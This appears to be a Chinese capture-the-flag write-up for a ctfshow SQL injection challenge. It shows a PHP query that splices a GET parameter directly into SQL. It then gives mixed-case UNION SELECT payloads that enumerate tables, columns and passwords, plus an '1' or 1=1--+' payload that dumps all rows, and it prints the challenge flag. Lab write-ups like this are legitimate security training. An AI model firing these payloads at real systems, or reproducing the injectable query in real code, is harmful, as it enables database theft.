

查询语句

```
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfsHOW_user where username !='flag' and id = '". $_GET['id']."' limit 1;";
```

返回逻辑

```
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单，不宜展示
}
```

用户ID

查询

ID	用户名	密码
1	admin	admin

1.是个有过滤的sql注入，过滤了啥没有展示，经过测试，可以大小写绕过

用户ID

查询

ID	用户名
1	2

接下来直接梭哈

查表: 0' Union Select 1,2,group_concat(table_name)from information_schema.tables where database()='table_schema--+

查列: 0' Union Select 1,2,group_concat(column_name)from information_schema.columns where database()='table_schema--+

查数据: 0' Union Select 1,2,group_concat(id,password)from ctfsHOW_user--+

第二种方法：我们仔细观察查询语句，发现是可以利用万能密码的，and比or的优先级高，只要or后面为真，那and是什么都不影响

```
$sql = "select id,username,password from ctfsHOW_user where username !='flag' and id = '". $_GET['id']."' limit 1;";
```

payload: 1' or 1=1--+

username	password
userAUTO	passwordAUTO
flag	ctfshow{5b205041-2fa4-40a1-82a8-1c7b8c9b2c21}

10 条/页

直接把所有数据都列出来了